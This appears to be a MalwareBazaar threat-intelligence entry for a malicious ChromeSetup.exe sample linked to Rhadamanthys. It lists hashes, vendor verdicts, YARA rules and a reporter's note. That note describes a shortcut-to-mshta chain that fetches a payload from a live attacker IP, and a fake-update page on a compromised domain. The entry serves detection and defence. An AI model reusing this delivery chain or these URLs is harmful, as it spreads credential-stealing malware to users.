MalwareBazaar Database

You are currently viewing the MalwareBazaar entry for SHA256 f3e6d8f973c6c8e1ab02c684e0a40bdd77e73ec7fd360f322da01f268582c655. While MalwareBazaar tries to identify whether the sample provided is malicious or not, there is no guarantee that a sample in MalwareBazaar is malicious.

Database Entry


Threat unknown


Vendor detections: 5


Intelligence 5 IOCs YARA 2 File information Comments
Download sample Add tag Delete this sample Report a False Positive

SHA256 hash: f3e6d8f973c6c8e1ab02c684e0a40bdd77e73ec7fd360f322da01f268582c655
SHA3-384 hash: 7f7b9aa9365e51694a616d67838c593c506da0b2864a75406ae9fcd2d8d3ae6bbb106fedcce912481e47be79c691ada1
SHA1 hash: 4bc23d909310d6cba18f403a1c0e02a376406536
MD5 hash: 246c5ec56ada0c11e39bd12720e37e9d
humanhash: oscar-lima-november-cardinal
File name:ChromeSetup.exe
Download: download sample
File size:1'638'559 bytes
First seen:2024-03-07 19:20:05 UTC
Last seen:Never
File type:unknown
MIME type:application/octet-stream
ssdeep 49152:FeGP13fMP9IpGOy3NTYENNMCz5d08Vzq6Go2F1ZrEUB7jN3Uanp0:FenqLZ6au
TLSH T19E758C32F145111FC86F9A341572B1A8917B6FB97447482F3BF43A1D8B320926F2BE5A
TrID 90.1% (.STL) Certificate Trust List (DER encoded) (18501/2/3)
9.8% (.CAT) Microsoft Security Catalog (2021/9)
Reporter rmceoin


Avatar
rmceoin
91.92.250.150/Downloads/ChromeSetup.exe.lnk
lastmodified: Thu, 07 Mar 2024 12:42:48 GMT
LNK -> mshta http://89.23.98.210/ChromeSetup -> https://arf.berkeley.edu/update/ChromeSetup.exe

Also available via a fakeupdate page https://arf.berkeley.edu/update/

Intelligence

File Origin
# of uploads :
1
# of downloads :
99
Origin country :
US US
Vendor Threat Intelligence
Verdict:
Suspicious
Threat level:
  5/10
Confidence:
100%
Tags:
lolbin masquerade setupapi shell32
Link:
https://www.filescan.io/uploads/65ea13a45cd908a33da90202/reports/354ff90c-73db-4a3b-9ddf-aa42a4211826/overview
Verdict:
Unknown
Link:
https://www.hybrid-analysis.com/sample/f3e6d8f973c6c8e1ab02c684e0a40bdd77e73ec7fd360f322da01f268582c655
Result
Verdict:
MALICIOUS
Detection:
n/a
Link:
https://mwdb.cert.pl/sample/f3e6d8f973c6c8e1ab02c684e0a40bdd77e73ec7fd360f322da01f268582c655/
Detection(s):
Suspicious file
Link:
https://check.spamhaus.org/check/?searchterm=6ptnr6lty3eodkycy2cobjal3v36opwh7u3a6mrnuapsnbmcyzkq._file
Please note that we are no longer able to provide a coverage score for Virus Total.
Threat name:
Malicious File
Score:
1.00
Link:
https://yomi.yoroi.company/submissions/f3e6d8f973c6c8e1ab02c684e0a40bdd77e73ec7fd360f322da01f268582c655

YARA Signatures

MalwareBazaar uses YARA rules from several public and non-public repositories, such as YARAhub and Malpedia. Those are being matched against malware samples uploaded to MalwareBazaar as well as against any suspicious process dumps they may create. Please note that only results from TLP:CLEAR rules are being displayed.

Rule name:BitcoinAddress
Create hunting rule
Author:Didier Stevens (@DidierStevens)
Description:Contains a valid Bitcoin address
Rule name:meth_stackstrings
Create hunting rule
Author:Willi Ballenthin

File information

The table below shows additional information about this malware sample such as delivery method and external references.

e5c44b0338c36ae76e5d99f19bef5495e736a1f628898a5606e2092272b73d07

Rhadamanthys

Shortcut (lnk) lnk d740d3c26404ee20b5d4b9863c9fb4d402518c2a5c752e5a6c79ff060981b3f3

Executable exe 7eb0014fac4365b6b61002f165673956d5e5efaba16efafebe9575396f58c09e

unknown f3e6d8f973c6c8e1ab02c684e0a40bdd77e73ec7fd360f322da01f268582c655

(this sample)

  
Dropped by
SHA256 7eb0014fac4365b6b61002f165673956d5e5efaba16efafebe9575396f58c09e
  
Dropped by
MD5 efc2f6683db49c074ed2e5e389763884

Comments